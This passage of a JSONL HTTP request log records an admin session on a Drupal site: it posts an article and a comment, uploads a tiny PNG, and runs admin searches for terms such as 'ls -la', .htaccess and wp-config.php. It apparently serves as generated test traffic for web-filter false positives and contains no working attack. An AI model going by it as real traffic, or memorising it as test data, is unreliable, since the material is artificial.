name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/powershell-and-python3\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:03:10\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryRCXQGBEZqRVGYEzF--\r\n"}
|
||||
{"method": "GET", "target": "/powershell-and-python3", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/powershell-and-python3", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D5%3Achanged%3D1794214996%26langcode%3Den&tokens%5B%5D=ita10VPYAXlTHzj0MBr00dObG7ftbasU9C1DjE2zOWI"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/node/1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214664%26langcode%3Den&ids%5B%5D=comment%3Acomment%3D1%3Achanged%3D1794214675%26langcode%3Den&tokens%5B%5D=gbyDF1Z3LcCvTyCIXXmz1gj9CG3LaEd37N1nZ2PpLNo&tokens%5B%5D=fF-4OT40LdhhlYhHgviv64T0nVqkE5MGiUWVIAcU8lo"}
|
||||
{"method": "POST", "target": "/comment/reply/node/1/comment", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/1", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-r1mZS5F4tqXIdq44fjWFYuN-awBCxpW-K-BvoAAmkyk&form_token=8K6l4FhFSzSgw_JeQMFcuQ7zkooQehyqSkLCSKhLp5I&form_id=comment_comment_form&subject%5B0%5D%5Bvalue%5D=Python3+on+.htaccess&comment_body%5B0%5D%5Bvalue%5D=%3Cp%3EDoes+%3Ccode%3Els+-la%3C%2Fcode%3E+work+under+powershell+or+python3%3F%3C%2Fp%3E&comment_body%5B0%5D%5Bformat%5D=basic_html&op=Save"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=comment%3Acomment%3D1%3Achanged%3D1794214675%26langcode%3Den&ids%5B%5D=comment%3Acomment%3D2%3Achanged%3D1794214999%26langcode%3Den&tokens%5B%5D=fF-4OT40LdhhlYhHgviv64T0nVqkE5MGiUWVIAcU8lo&tokens%5B%5D=ChhtBe1arN5N5VhzviQHD_VDytZgbZVB3u-2qOufzK8"}
|
||||
{"method": "POST", "target": "/media/add/image?element_parents=field_media_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE7nrnHw1Pab3ZFls", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"files[field_media_image_0]\"; filename=\"powershell-setup.png\"\r\nContent-Type: image/png\r\n\r\nPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-VXabaXRkKe3hFQCBi49Nj8rAr5cTRZX5WNNCr-orKCE\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\n8VNEl_v41Qp_-ifKyOaSbJFXK8Q95OOmPua9eGqiTOw\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:03:20\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_media_image_0_upload_button\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\ngtuOMELGPT-cRRR7C5yAGfDEzvpCn6gTPnJ4IefXf4E\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls\r\nContent-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n\r\neJxVj1ESwjAIRC_UtGeiERWlUAnpWE9votVM_naW5cFGBtNpwRNBOKstQ1RxfHoGnk6WV-CxOYFJ7qlEDKeoy6qC4mkU2OgCTiohuCrPYGHO7irf6MGB6LThh9H72bXSGB27QVRmWFNvlovk--_X5icHx9RZ9WswhGCY6NVjNjSnWCo5zMcWlZomZXZ7ZLR9bCekKOCKOBP_EVUPrfvU5Miwa_ZhBb_-0lW_AQOBjSg\r\n------WebKitFormBoundaryE7nrnHw1Pab3ZFls--\r\n"}
|
||||
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/powershell-setup_3.png.avif?itok=yeYeqKgQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path?search=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/moderated?title=python3&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/moderated?title=python3&moderation_state=All", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dmoderated_content%3Alocation%3Dpage%26name%3Dmoderated_content%26display_id%3Dmoderated_content%26langcode%3Den&tokens%5B%5D=ZPCy2PWMDA1qxRmOrOGS24WKpHYbJym8Bd048r6MnIw"}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=&filemime=python3&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path?search=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/moderated?title=powershell&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=&filemime=powershell&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path?search=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/moderated?title=ls%20-la&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=&filemime=ls%20-la&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path?search=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/moderated?title=.htaccess&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=&filemime=.htaccess&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path?search=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/moderated?title=wp-config.php&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
